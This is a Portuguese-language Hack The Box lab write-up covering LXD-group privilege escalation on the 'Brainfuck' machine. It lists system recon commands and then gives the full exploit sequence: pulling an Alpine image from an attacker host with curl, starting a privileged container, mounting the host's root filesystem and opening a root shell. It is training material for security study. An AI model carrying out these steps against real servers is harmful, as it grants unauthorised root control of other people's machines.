Brainfuck - HTB Write Up - Parte 4 - LXD Group Privilege Escalation

O que é LXD ?

É um sistema de gerenciamento de containers que tem como base o kernel do Linux.

No laboratório desta série de artigos sobre o servidor Brainfuck do HTB, o usuário Orestis pertence ao grupo LXD no qual dá permissão para criar e gerenciar containers LXD. Existe uma vulnerabilidade no LXD que permite a um usuário deste grupo obter acesso root no servidor. É essa vulnerabilidade que será mostrada neste artigo, finalizando assim a exploração do servidor Brainfuck. 


Recon interno 

cat /etc/os-release


Identificando permissão de escrita nos PATHs de variáveis do sistema. 

echo $PATH


Identificando a versão do kernel 

cat /proc/version


Identificando a versão do Snap e do SUDO 

snap --version 

A versão do snap é vulnerável mas não foi possível fazer a exploração pois a senha do usuário Orestis não é conhecida. 


sudo --version 


Identificando binários instalados no servidor 

which [nome-do-binario]


Identificando os grupos nos quais o usuário pertence 

Nesse ponto, o grupo LXD é localizado 110(lxd)


LXC Exploit

Nos artigos sobre a exploração do LXD é indicado usar a ferramenta Alpine para construir uma imagem Linux com a flag security.privileged=true que permite o container interagir com o filesystem do servidor como root. 

Na máquina atacante, é feito o clone do repositório git clone https://github.com/saghul/lxd-alpine-builder e, em seguida, a execução do comando ./build-alpine


Na máquina-alvo é feito o download da imagem 

curl -o image.tar.gz  http://10.10.14.48:8080/alpine-v3.16-x86_64-20221022_1050.tar.gz

Na sequência, é feito o import da imagem usando o LXD a partir do diretório home do usuário-alvo

lxc image import ./image.tar.gz --alias myimage




lxc image list 



Inicie a imagem com o comando:

lxc init myimage ignite -c security.privileged=true

O nome do container é ignite



Montar o diretório root do container ignite

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true 



Em seguida, inicie o container com o comando:

lxc start ignite

E execute o comando exec para ter acesso ao shell:

lxc exec ignite /bin/sh 


Em um cenário real, ao encontrar um usuário pertencente ao grupo lxd é possível criar uma imagem com a flag security.privileged e obter acesso root no servidor atacado. 

Comentários

Postagens mais visitadas